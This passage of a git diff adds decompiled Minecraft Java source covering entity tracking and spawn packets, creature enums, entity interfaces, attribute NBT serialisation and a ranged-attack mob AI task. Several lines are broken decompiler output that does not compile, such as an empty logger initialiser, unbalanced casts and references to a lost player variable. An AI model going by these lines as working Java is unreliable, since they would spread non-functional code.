+        encodedPosZ = MathHelper.floor_double(trackedEntity.posZ * 32.0D);
+        sendMetadataToAllAssociatedPlayers();
+        ridingEntity = true;
+      }
+      
+      int var23 = MathHelper.floor_float(trackedEntity.getRotationYawHead() * 256.0F / 360.0F);
+      
+      if (Math.abs(var23 - lastHeadMotion) >= 4)
+      {
+        func_151259_a(new net.minecraft.network.play.server.S19PacketEntityHeadLook(trackedEntity, (byte)var23));
+        lastHeadMotion = var23;
+      }
+      
+      trackedEntity.isAirBorne = false;
+    }
+    
+    updateCounter += 1;
+    
+    if (trackedEntity.velocityChanged)
+    {
+      func_151261_b(new S12PacketEntityVelocity(trackedEntity));
+      trackedEntity.velocityChanged = false;
+    }
+  }
+  
+
+
+
+
+  private void sendMetadataToAllAssociatedPlayers()
+  {
+    DataWatcher var1 = trackedEntity.getDataWatcher();
+    
+    if (var1.hasObjectChanged())
+    {
+      func_151261_b(new S1CPacketEntityMetadata(trackedEntity.getEntityId(), var1, false));
+    }
+    
+    if ((trackedEntity instanceof EntityLivingBase))
+    {
+      ServersideAttributeMap var2 = (ServersideAttributeMap)((EntityLivingBase)trackedEntity).getAttributeMap();
+      Set var3 = var2.getAttributeInstanceSet();
+      
+      if (!var3.isEmpty())
+      {
+        func_151261_b(new S20PacketEntityProperties(trackedEntity.getEntityId(), var3));
+      }
+      
+      var3.clear();
+    }
+  }
+  
+  public void func_151259_a(Packet p_151259_1_)
+  {
+    Iterator var2 = trackingPlayers.iterator();
+    
+    while (var2.hasNext())
+    {
+      EntityPlayerMP var3 = (EntityPlayerMP)var2.next();
+      playerNetServerHandler.sendPacket(p_151259_1_);
+    }
+  }
+  
+  public void func_151261_b(Packet p_151261_1_)
+  {
+    func_151259_a(p_151261_1_);
+    
+    if ((trackedEntity instanceof EntityPlayerMP))
+    {
+      trackedEntity).playerNetServerHandler.sendPacket(p_151261_1_);
+    }
+  }
+  
+  public void sendDestroyEntityPacketToTrackedPlayers()
+  {
+    Iterator var1 = trackingPlayers.iterator();
+    
+    while (var1.hasNext())
+    {
+      EntityPlayerMP var2 = (EntityPlayerMP)var1.next();
+      var2.func_152339_d(trackedEntity);
+    }
+  }
+  
+  public void removeFromTrackedPlayers(EntityPlayerMP p_73118_1_)
+  {
+    if (trackingPlayers.contains(p_73118_1_))
+    {
+      p_73118_1_.func_152339_d(trackedEntity);
+      trackingPlayers.remove(p_73118_1_);
+    }
+  }
+  
+  public void updatePlayerEntity(EntityPlayerMP p_73117_1_)
+  {
+    if (p_73117_1_ != trackedEntity)
+    {
+      if (func_180233_c(p_73117_1_))
+      {
+        if ((!trackingPlayers.contains(p_73117_1_)) && ((isPlayerWatchingThisChunk(p_73117_1_)) || (trackedEntity.forceSpawn)))
+        {
+          trackingPlayers.add(p_73117_1_);
+          Packet var2 = func_151260_c();
+          playerNetServerHandler.sendPacket(var2);
+          
+          if (!trackedEntity.getDataWatcher().getIsBlank())
+          {
+            playerNetServerHandler.sendPacket(new S1CPacketEntityMetadata(trackedEntity.getEntityId(), trackedEntity.getDataWatcher(), true));
+          }
+          
+          net.minecraft.nbt.NBTTagCompound var3 = trackedEntity.func_174819_aU();
+          
+          if (var3 != null)
+          {
+            playerNetServerHandler.sendPacket(new S49PacketUpdateEntityNBT(trackedEntity.getEntityId(), var3));
+          }
+          
+          if ((trackedEntity instanceof EntityLivingBase))
+          {
+            ServersideAttributeMap var4 = (ServersideAttributeMap)((EntityLivingBase)trackedEntity).getAttributeMap();
+            Collection var5 = var4.getWatchedAttributes();
+            
+            if (!var5.isEmpty())
+            {
+              playerNetServerHandler.sendPacket(new S20PacketEntityProperties(trackedEntity.getEntityId(), var5));
+            }
+          }
+          
+          lastTrackedEntityMotionX = trackedEntity.motionX;
+          lastTrackedEntityMotionY = trackedEntity.motionY;
+          motionZ = trackedEntity.motionZ;
+          
+          if ((sendVelocityUpdates) && (!(var2 instanceof S0FPacketSpawnMob)))
+          {
+            playerNetServerHandler.sendPacket(new S12PacketEntityVelocity(trackedEntity.getEntityId(), trackedEntity.motionX, trackedEntity.motionY, trackedEntity.motionZ));
+          }
+          
+          if (trackedEntity.ridingEntity != null)
+          {
+            playerNetServerHandler.sendPacket(new S1BPacketEntityAttach(0, trackedEntity, trackedEntity.ridingEntity));
+          }
+          
+          if (((trackedEntity instanceof EntityLiving)) && (((EntityLiving)trackedEntity).getLeashedToEntity() != null))
+          {
+            playerNetServerHandler.sendPacket(new S1BPacketEntityAttach(1, trackedEntity, ((EntityLiving)trackedEntity).getLeashedToEntity()));
+          }
+          
+          if ((trackedEntity instanceof EntityLivingBase))
+          {
+            for (int var7 = 0; var7 < 5; var7++)
+            {
+              ItemStack var10 = ((EntityLivingBase)trackedEntity).getEquipmentInSlot(var7);
+              
+              if (var10 != null)
+              {
+                playerNetServerHandler.sendPacket(new S04PacketEntityEquipment(trackedEntity.getEntityId(), var7, var10));
+              }
+            }
+          }
+          
+          if ((trackedEntity instanceof EntityPlayer))
+          {
+            EntityPlayer var8 = (EntityPlayer)trackedEntity;
+            
+            if (var8.isPlayerSleeping())
+            {
+              playerNetServerHandler.sendPacket(new S0APacketUseBed(var8, new BlockPos(trackedEntity)));
+            }
+          }
+          
+          if ((trackedEntity instanceof EntityLivingBase))
+          {
+            EntityLivingBase var9 = (EntityLivingBase)trackedEntity;
+            Iterator var11 = var9.getActivePotionEffects().iterator();
+            
+            while (var11.hasNext())
+            {
+              PotionEffect var6 = (PotionEffect)var11.next();
+              playerNetServerHandler.sendPacket(new S1DPacketEntityEffect(trackedEntity.getEntityId(), var6));
+            }
+          }
+        }
+      }
+      else if (trackingPlayers.contains(p_73117_1_))
+      {
+        trackingPlayers.remove(p_73117_1_);
+        p_73117_1_.func_152339_d(trackedEntity);
+      }
+    }
+  }
+  
+  public boolean func_180233_c(EntityPlayerMP p_180233_1_)
+  {
+    double var2 = posX - encodedPosX / 32;
+    double var4 = posZ - encodedPosZ / 32;
+    return (var2 >= -trackingDistanceThreshold) && (var2 <= trackingDistanceThreshold) && (var4 >= -trackingDistanceThreshold) && (var4 <= trackingDistanceThreshold) && (trackedEntity.func_174827_a(p_180233_1_));
+  }
+  
+  private boolean isPlayerWatchingThisChunk(EntityPlayerMP p_73121_1_)
+  {
+    return p_73121_1_.getServerForPlayer().getPlayerManager().isPlayerWatchingChunk(p_73121_1_, trackedEntity.chunkCoordX, trackedEntity.chunkCoordZ);
+  }
+  
+  public void updatePlayerEntities(List p_73125_1_)
+  {
+    for (int var2 = 0; var2 < p_73125_1_.size(); var2++)
+    {
+      updatePlayerEntity((EntityPlayerMP)p_73125_1_.get(var2));
+    }
+  }
+  
+  private Packet func_151260_c()
+  {
+    if (trackedEntity.isDead)
+    {
+      logger.warn("Fetching addPacket for removed entity");
+    }
+    
+    if ((trackedEntity instanceof EntityItem))
+    {
+      return new S0EPacketSpawnObject(trackedEntity, 2, 1);
+    }
+    if ((trackedEntity instanceof EntityPlayerMP))
+    {
+      return new S0CPacketSpawnPlayer((EntityPlayer)trackedEntity);
+    }
+    if ((trackedEntity instanceof EntityMinecart))
+    {
+      EntityMinecart var9 = (EntityMinecart)trackedEntity;
+      return new S0EPacketSpawnObject(trackedEntity, 10, var9.func_180456_s().func_180039_a());
+    }
+    if ((trackedEntity instanceof EntityBoat))
+    {
+      return new S0EPacketSpawnObject(trackedEntity, 1);
+    }
+    if ((trackedEntity instanceof IAnimals))
+    {
+      lastHeadMotion = MathHelper.floor_float(trackedEntity.getRotationYawHead() * 256.0F / 360.0F);
+      return new S0FPacketSpawnMob((EntityLivingBase)trackedEntity);
+    }
+    if ((trackedEntity instanceof EntityFishHook))
+    {
+      EntityPlayer var8 = trackedEntity).angler;
+      return new S0EPacketSpawnObject(trackedEntity, 90, var8 != null ? var8.getEntityId() : trackedEntity.getEntityId());
+    }
+    if ((trackedEntity instanceof EntityArrow))
+    {
+      Entity var7 = trackedEntity).shootingEntity;
+      return new S0EPacketSpawnObject(trackedEntity, 60, var7 != null ? var7.getEntityId() : trackedEntity.getEntityId());
+    }
+    if ((trackedEntity instanceof EntitySnowball))
+    {
+      return new S0EPacketSpawnObject(trackedEntity, 61);
+    }
+    if ((trackedEntity instanceof EntityPotion))
+    {
+      return new S0EPacketSpawnObject(trackedEntity, 73, ((EntityPotion)trackedEntity).getPotionDamage());
+    }
+    if ((trackedEntity instanceof EntityExpBottle))
+    {
+      return new S0EPacketSpawnObject(trackedEntity, 75);
+    }
+    if ((trackedEntity instanceof EntityEnderPearl))
+    {
+      return new S0EPacketSpawnObject(trackedEntity, 65);
+    }
+    if ((trackedEntity instanceof EntityEnderEye))
+    {
+      return new S0EPacketSpawnObject(trackedEntity, 72);
+    }
+    if ((trackedEntity instanceof EntityFireworkRocket))
+    {
+      return new S0EPacketSpawnObject(trackedEntity, 76);
+    }
+    
+
+
+
+    if ((trackedEntity instanceof EntityFireball))
+    {
+      EntityFireball var6 = (EntityFireball)trackedEntity;
+      S0EPacketSpawnObject var2 = null;
+      byte var10 = 63;
+      
+      if ((trackedEntity instanceof EntitySmallFireball))
+      {
+        var10 = 64;
+      }
+      else if ((trackedEntity instanceof EntityWitherSkull))
+      {
+        var10 = 66;
+      }
+      
+      if (shootingEntity != null)
+      {
+        var2 = new S0EPacketSpawnObject(trackedEntity, var10, trackedEntity).shootingEntity.getEntityId());
+      }
+      else
+      {
+        var2 = new S0EPacketSpawnObject(trackedEntity, var10, 0);
+      }
+      
+      var2.func_149003_d((int)(accelerationX * 8000.0D));
+      var2.func_149000_e((int)(accelerationY * 8000.0D));
+      var2.func_149007_f((int)(accelerationZ * 8000.0D));
+      return var2;
+    }
+    if ((trackedEntity instanceof net.minecraft.entity.projectile.EntityEgg))
+    {
+      return new S0EPacketSpawnObject(trackedEntity, 62);
+    }
+    if ((trackedEntity instanceof net.minecraft.entity.item.EntityTNTPrimed))
+    {
+      return new S0EPacketSpawnObject(trackedEntity, 50);
+    }
+    if ((trackedEntity instanceof EntityEnderCrystal))
+    {
+      return new S0EPacketSpawnObject(trackedEntity, 51);
+    }
+    if ((trackedEntity instanceof EntityFallingBlock))
+    {
+      EntityFallingBlock var5 = (EntityFallingBlock)trackedEntity;
+      return new S0EPacketSpawnObject(trackedEntity, 70, Block.getStateId(var5.getBlock()));
+    }
+    if ((trackedEntity instanceof EntityArmorStand))
+    {
+      return new S0EPacketSpawnObject(trackedEntity, 78);
+    }
+    if ((trackedEntity instanceof EntityPainting))
+    {
+      return new S10PacketSpawnPainting((EntityPainting)trackedEntity);
+    }
+    
+
+
+
+    if ((trackedEntity instanceof EntityItemFrame))
+    {
+      EntityItemFrame var4 = (EntityItemFrame)trackedEntity;
+      S0EPacketSpawnObject var2 = new S0EPacketSpawnObject(trackedEntity, 71, field_174860_b.getHorizontalIndex());
+      BlockPos var3 = var4.func_174857_n();
+      var2.func_148996_a(MathHelper.floor_float(var3.getX() * 32));
+      var2.func_148995_b(MathHelper.floor_float(var3.getY() * 32));
+      var2.func_149005_c(MathHelper.floor_float(var3.getZ() * 32));
+      return var2;
+    }
+    if ((trackedEntity instanceof EntityLeashKnot))
+    {
+      EntityLeashKnot var1 = (EntityLeashKnot)trackedEntity;
+      S0EPacketSpawnObject var2 = new S0EPacketSpawnObject(trackedEntity, 77);
+      BlockPos var3 = var1.func_174857_n();
+      var2.func_148996_a(MathHelper.floor_float(var3.getX() * 32));
+      var2.func_148995_b(MathHelper.floor_float(var3.getY() * 32));
+      var2.func_149005_c(MathHelper.floor_float(var3.getZ() * 32));
+      return var2;
+    }
+    if ((trackedEntity instanceof EntityXPOrb))
+    {
+      return new S11PacketSpawnExperienceOrb((EntityXPOrb)trackedEntity);
+    }
+    
+
+    throw new IllegalArgumentException("Don't know how to add " + trackedEntity.getClass() + "!");
+  }
+  
+
+
+
+
+
+
+  public void removeTrackedPlayerSymmetric(EntityPlayerMP p_73123_1_)
+  {
+    if (trackingPlayers.contains(p_73123_1_))
+    {
+      trackingPlayers.remove(p_73123_1_);
+      p_73123_1_.func_152339_d(trackedEntity);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EnumCreatureAttribute.java b/src/minecraft/net/minecraft/entity/EnumCreatureAttribute.java
new file mode 100644
index 0000000..a50e7b4
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EnumCreatureAttribute.java
@@ -0,0 +1,13 @@
+package net.minecraft.entity;
+
+public enum EnumCreatureAttribute
+{
+  UNDEFINED("UNDEFINED", 0), 
+  UNDEAD("UNDEAD", 1), 
+  ARTHROPOD("ARTHROPOD", 2);
+  
+  private static final EnumCreatureAttribute[] $VALUES = { UNDEFINED, UNDEAD, ARTHROPOD };
+  private static final String __OBFID = "CL_00001553";
+  
+  private EnumCreatureAttribute(String p_i1597_1_, int p_i1597_2_) {}
+}
diff --git a/src/minecraft/net/minecraft/entity/EnumCreatureType.java b/src/minecraft/net/minecraft/entity/EnumCreatureType.java
new file mode 100644
index 0000000..2ade86f
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EnumCreatureType.java
@@ -0,0 +1,67 @@
+package net.minecraft.entity;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.entity.monster.IMob;
+import net.minecraft.entity.passive.EntityAmbientCreature;
+import net.minecraft.entity.passive.EntityAnimal;
+import net.minecraft.entity.passive.EntityWaterMob;
+
+public enum EnumCreatureType
+{
+  MONSTER("MONSTER", 0, IMob.class, 70, Material.air, false, false), 
+  CREATURE("CREATURE", 1, EntityAnimal.class, 10, Material.air, true, true), 
+  AMBIENT("AMBIENT", 2, EntityAmbientCreature.class, 15, Material.air, true, false), 
+  WATER_CREATURE("WATER_CREATURE", 3, EntityWaterMob.class, 5, Material.water, true, false);
+  
+
+
+  private final Class creatureClass;
+  
+
+  private final int maxNumberOfCreature;
+  
+
+  private final Material creatureMaterial;
+  
+  private final boolean isPeacefulCreature;
+  
+  private final boolean isAnimal;
+  
+  private static final EnumCreatureType[] $VALUES = { MONSTER, CREATURE, AMBIENT, WATER_CREATURE };
+  private static final String __OBFID = "CL_00001551";
+  
+  private EnumCreatureType(String p_i1596_1_, int p_i1596_2_, Class p_i1596_3_, int p_i1596_4_, Material p_i1596_5_, boolean p_i1596_6_, boolean p_i1596_7_)
+  {
+    creatureClass = p_i1596_3_;
+    maxNumberOfCreature = p_i1596_4_;
+    creatureMaterial = p_i1596_5_;
+    isPeacefulCreature = p_i1596_6_;
+    isAnimal = p_i1596_7_;
+  }
+  
+  public Class getCreatureClass()
+  {
+    return creatureClass;
+  }
+  
+  public int getMaxNumberOfCreature()
+  {
+    return maxNumberOfCreature;
+  }
+  
+
+
+
+  public boolean getPeacefulCreature()
+  {
+    return isPeacefulCreature;
+  }
+  
+
+
+
+  public boolean getAnimal()
+  {
+    return isAnimal;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/IEntityLivingData.java b/src/minecraft/net/minecraft/entity/IEntityLivingData.java
new file mode 100644
index 0000000..dcda910
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/IEntityLivingData.java
@@ -0,0 +1,3 @@
+package net.minecraft.entity;
+
+public abstract interface IEntityLivingData {}
diff --git a/src/minecraft/net/minecraft/entity/IEntityMultiPart.java b/src/minecraft/net/minecraft/entity/IEntityMultiPart.java
new file mode 100644
index 0000000..438acdf
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/IEntityMultiPart.java
@@ -0,0 +1,12 @@
+package net.minecraft.entity;
+
+import net.minecraft.entity.boss.EntityDragonPart;
+import net.minecraft.util.DamageSource;
+import net.minecraft.world.World;
+
+public abstract interface IEntityMultiPart
+{
+  public abstract World func_82194_d();
+  
+  public abstract boolean attackEntityFromPart(EntityDragonPart paramEntityDragonPart, DamageSource paramDamageSource, float paramFloat);
+}
diff --git a/src/minecraft/net/minecraft/entity/IEntityOwnable.java b/src/minecraft/net/minecraft/entity/IEntityOwnable.java
new file mode 100644
index 0000000..909931b
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/IEntityOwnable.java
@@ -0,0 +1,8 @@
+package net.minecraft.entity;
+
+public abstract interface IEntityOwnable
+{
+  public abstract String func_152113_b();
+  
+  public abstract Entity getOwner();
+}
diff --git a/src/minecraft/net/minecraft/entity/IMerchant.java b/src/minecraft/net/minecraft/entity/IMerchant.java
new file mode 100644
index 0000000..bd4162d
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/IMerchant.java
@@ -0,0 +1,24 @@
+package net.minecraft.entity;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.village.MerchantRecipe;
+import net.minecraft.village.MerchantRecipeList;
+
+public abstract interface IMerchant
+{
+  public abstract void setCustomer(EntityPlayer paramEntityPlayer);
+  
+  public abstract EntityPlayer getCustomer();
+  
+  public abstract MerchantRecipeList getRecipes(EntityPlayer paramEntityPlayer);
+  
+  public abstract void setRecipes(MerchantRecipeList paramMerchantRecipeList);
+  
+  public abstract void useRecipe(MerchantRecipe paramMerchantRecipe);
+  
+  public abstract void verifySellingItem(ItemStack paramItemStack);
+  
+  public abstract IChatComponent getDisplayName();
+}
diff --git a/src/minecraft/net/minecraft/entity/INpc.java b/src/minecraft/net/minecraft/entity/INpc.java
new file mode 100644
index 0000000..84b409b
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/INpc.java
@@ -0,0 +1,7 @@
+package net.minecraft.entity;
+
+import net.minecraft.entity.passive.IAnimals;
+
+public abstract interface INpc
+  extends IAnimals
+{}
diff --git a/src/minecraft/net/minecraft/entity/IProjectile.java b/src/minecraft/net/minecraft/entity/IProjectile.java
new file mode 100644
index 0000000..69b5812
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/IProjectile.java
@@ -0,0 +1,6 @@
+package net.minecraft.entity;
+
+public abstract interface IProjectile
+{
+  public abstract void setThrowableHeading(double paramDouble1, double paramDouble2, double paramDouble3, float paramFloat1, float paramFloat2);
+}
diff --git a/src/minecraft/net/minecraft/entity/IRangedAttackMob.java b/src/minecraft/net/minecraft/entity/IRangedAttackMob.java
new file mode 100644
index 0000000..4caaa08
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/IRangedAttackMob.java
@@ -0,0 +1,6 @@
+package net.minecraft.entity;
+
+public abstract interface IRangedAttackMob
+{
+  public abstract void attackEntityWithRangedAttack(EntityLivingBase paramEntityLivingBase, float paramFloat);
+}
diff --git a/src/minecraft/net/minecraft/entity/NpcMerchant.java b/src/minecraft/net/minecraft/entity/NpcMerchant.java
new file mode 100644
index 0000000..42dac4f
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/NpcMerchant.java
@@ -0,0 +1,63 @@
+package net.minecraft.entity;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.inventory.InventoryMerchant;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.village.MerchantRecipe;
+import net.minecraft.village.MerchantRecipeList;
+
+
+
+
+
+public class NpcMerchant
+  implements IMerchant
+{
+  private InventoryMerchant theMerchantInventory;
+  private EntityPlayer customer;
+  private MerchantRecipeList recipeList;
+  private IChatComponent field_175548_d;
+  private static final String __OBFID = "CL_00001705";
+  
+  public NpcMerchant(EntityPlayer p_i45817_1_, IChatComponent p_i45817_2_)
+  {
+    customer = p_i45817_1_;
+    field_175548_d = p_i45817_2_;
+    theMerchantInventory = new InventoryMerchant(p_i45817_1_, this);
+  }
+  
+  public EntityPlayer getCustomer()
+  {
+    return customer;
+  }
+  
+  public void setCustomer(EntityPlayer p_70932_1_) {}
+  
+  public MerchantRecipeList getRecipes(EntityPlayer p_70934_1_)
+  {
+    return recipeList;
+  }
+  
+  public void setRecipes(MerchantRecipeList p_70930_1_)
+  {
+    recipeList = p_70930_1_;
+  }
+  
+  public void useRecipe(MerchantRecipe p_70933_1_)
+  {
+    p_70933_1_.incrementToolUses();
+  }
+  
+
+
+  public void verifySellingItem(ItemStack p_110297_1_) {}
+  
+
+
+  public IChatComponent getDisplayName()
+  {
+    return field_175548_d != null ? field_175548_d : new ChatComponentTranslation("entity.Villager.name", new Object[0]);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/SharedMonsterAttributes.java b/src/minecraft/net/minecraft/entity/SharedMonsterAttributes.java
new file mode 100644
index 0000000..fc5ed28
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/SharedMonsterAttributes.java
@@ -0,0 +1,150 @@
+package net.minecraft.entity;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.UUID;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.ai.attributes.BaseAttributeMap;
+import net.minecraft.entity.ai.attributes.IAttribute;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.ai.attributes.RangedAttribute;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class SharedMonsterAttributes
+{
+  private static final Logger logger = ;
+  public static final IAttribute maxHealth = new RangedAttribute(null, "generic.maxHealth", 20.0D, 0.0D, Double.MAX_VALUE).setDescription("Max Health").setShouldWatch(true);
+  public static final IAttribute followRange = new RangedAttribute(null, "generic.followRange", 32.0D, 0.0D, 2048.0D).setDescription("Follow Range");
+  public static final IAttribute knockbackResistance = new RangedAttribute(null, "generic.knockbackResistance", 0.0D, 0.0D, 1.0D).setDescription("Knockback Resistance");
+  public static final IAttribute movementSpeed = new RangedAttribute(null, "generic.movementSpeed", 0.699999988079071D, 0.0D, Double.MAX_VALUE).setDescription("Movement Speed").setShouldWatch(true);
+  public static final IAttribute attackDamage = new RangedAttribute(null, "generic.attackDamage", 2.0D, 0.0D, Double.MAX_VALUE);
+  
+  private static final String __OBFID = "CL_00001695";
+  
+  public SharedMonsterAttributes() {}
+  
+  public static NBTTagList writeBaseAttributeMapToNBT(BaseAttributeMap p_111257_0_)
+  {
+    NBTTagList var1 = new NBTTagList();
+    Iterator var2 = p_111257_0_.getAllAttributes().iterator();
+    
+    while (var2.hasNext())
+    {
+      IAttributeInstance var3 = (IAttributeInstance)var2.next();
+      var1.appendTag(writeAttributeInstanceToNBT(var3));
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  private static NBTTagCompound writeAttributeInstanceToNBT(IAttributeInstance p_111261_0_)
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    IAttribute var2 = p_111261_0_.getAttribute();
+    var1.setString("Name", var2.getAttributeUnlocalizedName());
+    var1.setDouble("Base", p_111261_0_.getBaseValue());
+    Collection var3 = p_111261_0_.func_111122_c();
+    
+    if ((var3 != null) && (!var3.isEmpty()))
+    {
+      NBTTagList var4 = new NBTTagList();
+      Iterator var5 = var3.iterator();
+      
+      while (var5.hasNext())
+      {
+        AttributeModifier var6 = (AttributeModifier)var5.next();
+        
+        if (var6.isSaved())
+        {
+          var4.appendTag(writeAttributeModifierToNBT(var6));
+        }
+      }
+      
+      var1.setTag("Modifiers", var4);
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  private static NBTTagCompound writeAttributeModifierToNBT(AttributeModifier p_111262_0_)
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    var1.setString("Name", p_111262_0_.getName());
+    var1.setDouble("Amount", p_111262_0_.getAmount());
+    var1.setInteger("Operation", p_111262_0_.getOperation());
+    var1.setLong("UUIDMost", p_111262_0_.getID().getMostSignificantBits());
+    var1.setLong("UUIDLeast", p_111262_0_.getID().getLeastSignificantBits());
+    return var1;
+  }
+  
+  public static void func_151475_a(BaseAttributeMap p_151475_0_, NBTTagList p_151475_1_)
+  {
+    for (int var2 = 0; var2 < p_151475_1_.tagCount(); var2++)
+    {
+      NBTTagCompound var3 = p_151475_1_.getCompoundTagAt(var2);
+      IAttributeInstance var4 = p_151475_0_.getAttributeInstanceByName(var3.getString("Name"));
+      
+      if (var4 != null)
+      {
+        applyModifiersToAttributeInstance(var4, var3);
+      }
+      else
+      {
+        logger.warn("Ignoring unknown attribute '" + var3.getString("Name") + "'");
+      }
+    }
+  }
+  
+  private static void applyModifiersToAttributeInstance(IAttributeInstance p_111258_0_, NBTTagCompound p_111258_1_)
+  {
+    p_111258_0_.setBaseValue(p_111258_1_.getDouble("Base"));
+    
+    if (p_111258_1_.hasKey("Modifiers", 9))
+    {
+      NBTTagList var2 = p_111258_1_.getTagList("Modifiers", 10);
+      
+      for (int var3 = 0; var3 < var2.tagCount(); var3++)
+      {
+        AttributeModifier var4 = readAttributeModifierFromNBT(var2.getCompoundTagAt(var3));
+        
+        if (var4 != null)
+        {
+          AttributeModifier var5 = p_111258_0_.getModifier(var4.getID());
+          
+          if (var5 != null)
+          {
+            p_111258_0_.removeModifier(var5);
+          }
+          
+          p_111258_0_.applyModifier(var4);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public static AttributeModifier readAttributeModifierFromNBT(NBTTagCompound p_111259_0_)
+  {
+    UUID var1 = new UUID(p_111259_0_.getLong("UUIDMost"), p_111259_0_.getLong("UUIDLeast"));
+    
+    try
+    {
+      return new AttributeModifier(var1, p_111259_0_.getString("Name"), p_111259_0_.getDouble("Amount"), p_111259_0_.getInteger("Operation"));
+    }
+    catch (Exception var3)
+    {
+      logger.warn("Unable to create attribute: " + var3.getMessage()); }
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIArrowAttack.java b/src/minecraft/net/minecraft/entity/ai/EntityAIArrowAttack.java
new file mode 100644
index 0000000..0aaf943
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIArrowAttack.java
@@ -0,0 +1,145 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IRangedAttackMob;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.MathHelper;
+
+
+
+
+
+
+
+
+
+
+
+
+public class EntityAIArrowAttack
+  extends EntityAIBase
+{
+  private final EntityLiving entityHost;
+  private final IRangedAttackMob rangedAttackEntityHost;
+  private EntityLivingBase attackTarget;
+  private int rangedAttackTime;
+  private double entityMoveSpeed;
+  private int field_75318_f;
+  private int field_96561_g;
+  private int maxRangedAttackTime;
+  private float field_96562_i;
+  private float maxAttackDistance;
+  private static final String __OBFID = "CL_00001609";
+  
+  public EntityAIArrowAttack(IRangedAttackMob p_i1649_1_, double p_i1649_2_, int p_i1649_4_, float p_i1649_5_)
+  {
+    this(p_i1649_1_, p_i1649_2_, p_i1649_4_, p_i1649_4_, p_i1649_5_);
+  }
+  
+  public EntityAIArrowAttack(IRangedAttackMob p_i1650_1_, double p_i1650_2_, int p_i1650_4_, int p_i1650_5_, float p_i1650_6_)
+  {
+    rangedAttackTime = -1;
+    
+    if (!(p_i1650_1_ instanceof EntityLivingBase))
+    {
+      throw new IllegalArgumentException("ArrowAttackGoal requires Mob implements RangedAttackMob");
+    }
+    
+
+    rangedAttackEntityHost = p_i1650_1_;
+    entityHost = ((EntityLiving)p_i1650_1_);
+    entityMoveSpeed = p_i1650_2_;
+    field_96561_g = p_i1650_4_;
+    maxRangedAttackTime = p_i1650_5_;
+    field_96562_i = p_i1650_6_;
+    maxAttackDistance = (p_i1650_6_ * p_i1650_6_);
+    setMutexBits(3);
+  }
+  
+
+
+
+
+  public boolean shouldExecute()
+  {
+    EntityLivingBase var1 = entityHost.getAttackTarget();
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    
+
+    attackTarget = var1;
+    return true;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return (shouldExecute()) || (!entityHost.getNavigator().noPath());
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    attackTarget = null;
+    field_75318_f = 0;
+    rangedAttackTime = -1;
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    double var1 = entityHost.getDistanceSq(attackTarget.posX, attackTarget.getEntityBoundingBox().minY, attackTarget.posZ);
+    boolean var3 = entityHost.getEntitySenses().canSee(attackTarget);
+    
+    if (var3)
+    {
+      field_75318_f += 1;
+    }
+    else
+    {
+      field_75318_f = 0;
+    }
+    
+    if ((var1 <= maxAttackDistance) && (field_75318_f >= 20))
+    {
+      entityHost.getNavigator().clearPathEntity();
+    }
+    else
+    {
+      entityHost.getNavigator().tryMoveToEntityLiving(attackTarget, entityMoveSpeed);
+    }
+    
+    entityHost.getLookHelper().setLookPositionWithEntity(attackTarget, 30.0F, 30.0F);
+    
+
+    if (--rangedAttackTime == 0)
+    {
+      if ((var1 > maxAttackDistance) || (!var3))
+      {
+        return;
+      }
+      
+      float var4 = MathHelper.sqrt_double(var1) / field_96562_i;
+      float var5 = MathHelper.clamp_float(var4, 0.1F, 1.0F);
+      rangedAttackEntityHost.attackEntityWithRangedAttack(attackTarget, var5);
+      rangedAttackTime = MathHelper.floor_float(var4 * (maxRangedAttackTime - field_96561_g) + field_96561_g);
+    }
+    else if (rangedAttackTime < 0)
+    {
+      float var4 = MathHelper.sqrt_double(var1) / field_96562_i;
+      rangedAttackTime = MathHelper.floor_float(var4 * (maxRangedAttackTime - field_96561_g) + field_96561_g);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIAttackOnCollide.java b/src/minecraft/net/minecraft/entity/ai/EntityAIAttackOnCollide.java
new file mode 100644
index 0000000..3993db8
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIAttackOnCollide.java
@@ -0,0 +1,155 @@
+package net.minecraft.entity.ai;
+
+import java.util.Random;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLivingBase;
